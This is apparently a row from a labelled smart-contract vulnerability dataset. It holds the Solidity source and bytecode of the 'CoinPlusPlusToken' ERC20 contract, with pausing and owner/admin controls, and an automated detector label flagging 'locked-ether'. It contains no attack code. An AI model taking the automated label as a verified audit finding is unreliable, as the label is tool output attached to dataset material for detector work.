73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6136d4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061376881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137c081600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613989576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015613a145750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015613a70575060011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515613b30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001807f4974206d75737420626520746865206578697374696e67206d616e616765722081526020017f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277381526020017f2077616c6c65742e00000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515613c6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f546865726520617265206d6f726520746f206465647563742e0000000000000081525060200191505060405180910390fd5b818303905092915050565b6000808284019050838110151515613cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f546865206e756d62657220646964206e6f7420696e6372656173652e0000000081525060200191505060405180910390fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d3e575060008214155b8015613d8857506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515613e48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b613e99826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f2c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820e7a8954f3823336975bf750fc2bc452191c67508dbfcf86269e207463a243dd90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,492 |
0x98e76f64618fda1e4bba0655d4e289af73a30ed0
|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = true;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
emit PausePublic(newPausedPublic);
emit PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract CppToken is PausableToken {
string public constant name = "CoinPlusPlusToken";
string public constant symbol = "CPPT";
uint8 public constant decimals = 12;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
constructor ( address _admin, uint _totalTokenAmount ) public
{
// assign the admin account
admin = _admin;
// assign the total tokens to cpp
totalSupply = _totalTokenAmount;
balances[msg.sender] = _totalTokenAmount;
emit Transfer(address(0x0), msg.sender, _totalTokenAmount);
}
function transfer(address _to, uint _value) public validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) public returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) public onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) public onlyOwner {
// owner can re-assign the admin
emit AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610122578063095ea7b3146101b257806318160ddd1461021757806323b872dd1461024257806324bb7c26146102c7578063313ce567146102f657806342966c681461032757806364779ad71461036c578063661884631461039b57806370a082311461040057806379cc6790146104575780638da5cb5b146104bc5780638f2839701461051357806395d89b4114610556578063a9059cbb146105e6578063d73dd6231461064b578063db0e16f1146106b0578063dd62ed3e146106fd578063ddeb509414610774578063f2fde38b146107af578063f851a440146107f2575b600080fd5b34801561012e57600080fd5b50610137610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017757808201518184015260208101905061015c565b50505050905090810190601f1680156101a45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101be57600080fd5b506101fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610882565b604051808215151515815260200191505060405180910390f35b34801561022357600080fd5b5061022c610980565b6040518082815260200191505060405180910390f35b34801561024e57600080fd5b506102ad600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610986565b604051808215151515815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610a15565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b5061030b610a28565b604051808260ff1660ff16815260200191505060405180910390f35b34801561033357600080fd5b5061035260048036038101908080359060200190929190505050610a2d565b604051808215151515815260200191505060405180910390f35b34801561037857600080fd5b50610381610b9c565b604051808215151515815260200191505060405180910390f35b3480156103a757600080fd5b506103e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610baf565b604051808215151515815260200191505060405180910390f35b34801561040c57600080fd5b50610441600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cad565b6040518082815260200191505060405180910390f35b34801561046357600080fd5b506104a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cf6565b604051808215151515815260200191505060405180910390f35b3480156104c857600080fd5b506104d1610d1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051f57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d42565b005b34801561056257600080fd5b5061056b610e5e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ab578082015181840152602081019050610590565b50505050905090810190601f1680156105d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105f257600080fd5b50610631600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e97565b604051808215151515815260200191505060405180910390f35b34801561065757600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f24565b604051808215151515815260200191505060405180910390f35b3480156106bc57600080fd5b506106fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611022565b005b34801561070957600080fd5b5061075e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611183565b6040518082815260200191505060405180910390f35b34801561078057600080fd5b506107ad60048036038101908080351515906020019092919080351515906020019092919050505061120a565b005b3480156107bb57600080fd5b506107f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611338565b005b3480156107fe57600080fd5b50610807611490565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040805190810160405280601181526020017f436f696e506c7573506c7573546f6b656e00000000000000000000000000000081525081565b6000600360149054906101000a900460ff161561096e57600360159054906101000a900460ff16151561096857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109585750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561096357600080fd5b61096d565b600080fd5b5b61097883836114b6565b905092915050565b60005481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156109c557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a0057600080fd5b610a0b8585856115a8565b9150509392505050565b600360149054906101000a900460ff1681565b600c81565b6000610a8182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad9826000546116a890919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050919050565b600360159054906101000a900460ff1681565b6000600360149054906101000a900460ff1615610c9b57600360159054906101000a900460ff161515610c9557600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c855750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c9057600080fd5b610c9a565b600080fd5b5b610ca583836116c1565b905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610d03833384610986565b1515610d0b57fe5b610d1482610a2d565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a380600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600481526020017f435050540000000000000000000000000000000000000000000000000000000081525081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ed657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f1157600080fd5b610f1b8484611952565b91505092915050565b6000600360149054906101000a900460ff161561101057600360159054906101000a900460ff16151561100a57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ffa5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561100557600080fd5b61100f565b600080fd5b5b61101a8383611a50565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114357600080fd5b505af1158015611157573d6000803e3d6000fd5b505050506040513d602081101561116d57600080fd5b8101908080519060200190929190505050505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126657600080fd5b6000151582151514801561127e575060011515811515145b15151561128a57600080fd5b81600360146101000a81548160ff02191690831515021790555080600360156101000a81548160ff0219169083151502179055507fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051808215151515815260200191505060405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051808215151515815260200191505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561139457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113d057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff161561169457600360159054906101000a900460ff16151561168e57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061167e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561168957600080fd5b611693565b600080fd5b5b61169f848484611c4c565b90509392505050565b60008282111515156116b657fe5b818303905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117d2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611866565b6117e583826116a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615611a3e57600360159054906101000a900460ff161515611a3857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a285750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a3357600080fd5b611a3d565b600080fd5b5b611a48838361200b565b905092915050565b6000611ae182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c8957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cd757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d6257600080fd5b611db482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561204857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561209657600080fd5b6120e882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561224357fe5b80915050929150505600a165627a7a7230582097515a18ae27fd327b4e5d9710ab72f8309496f3733d3